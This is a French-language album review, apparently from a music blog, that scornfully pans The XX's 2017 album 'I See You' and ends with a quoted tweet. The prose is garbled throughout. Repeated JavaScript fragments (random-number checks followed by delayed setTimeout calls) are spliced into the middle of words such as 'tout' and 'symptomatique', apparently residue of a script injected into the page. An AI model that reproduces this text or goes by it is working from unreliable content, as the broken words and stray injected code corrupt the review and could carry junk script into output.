Pour leur 3ème album, le trio londonien raconte avoir voulu y insuffler un son plus "distinctif", plus positif, et ouvert... Voyons cela. "Dangerous" ouvre le bal, composé sous forme de tube dance des années 2000, déjà entendu 1000 fois, mais qui est cependant le meilleur titre de l'album. Le reste est sous anxiolytiques et valium, des chansons qui sortent dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout droit d'un épisode de téléréalité quelconque, et des duos de voix dignes d'un Prime de la Star Academy ("Say something loving" ou "On Hold" - pourriture immense qui leur sert improbablement de single). Ces voix sans personnalités, singeant Robbie Williams et Sophie Ellis-Bexdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor avec un aplomb incroyable.
Extrêmement sobre, "I See You" est dépouillé, de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout, même d'eux-mêmes. C'est vide. Tout est pré-mâché, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout est déjà entendu. C'est les 2 Many Djs de l'indie-pop. Leur recherche minimaliste d'une beauté figée devient un gimmick insupportable de publicité pour des produits de beauté. Chaque morceau pue la paresse. La mauvaise paresse, celle dans laquelle on se complait, pas celle dans laquelle on se plait. Et semble avoir été écrit en 8 secondes au lever du lit, avant d'aller se faire un thé, dégueulasse, dans un loft dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout blanc et dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout propre. C'est certain que ça se passe ainsi, car la guitare est en gueule de bois et les paroles proviennent des mêmes relents matinaux. Des paroles d'adolescents sans saveurs, incroyablement bateaux, à éviter absolument, sauf si vous avez 16 ans évidemment. Auquel cas, aucun jugement, poursuivez votre vie, il faut vivre de mauvaises expériences.
La fin est sympdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatique de l'album, la dernière note restant en suspens, pour nous laisser rêver, alors qu'en réalité ça dégueule la posture. Et il ne nous reste plus qu'à quitter cette fenêtre de streaming car ce n'est pas sain d'écouter ça en boucle. Finissons donc sur une belle analogie :
Je conseille l'album de The XX à la laverie, ça correspond très bien à ce lieu où les âmes viennent mourir. — Luna (@BasicLuna) January 14, 2017
Je conseille l'album de The XX à la laverie, ça correspond très bien à ce lieu où les âmes viennent mourir.
— Luna (@BasicLuna) January 14, 2017
Meilleurs titres : Dangerous + Replica Pires titres : I Dare You + 7 autres The XX I see You (Young Turks / XL Recordings) 13 janvier 2017
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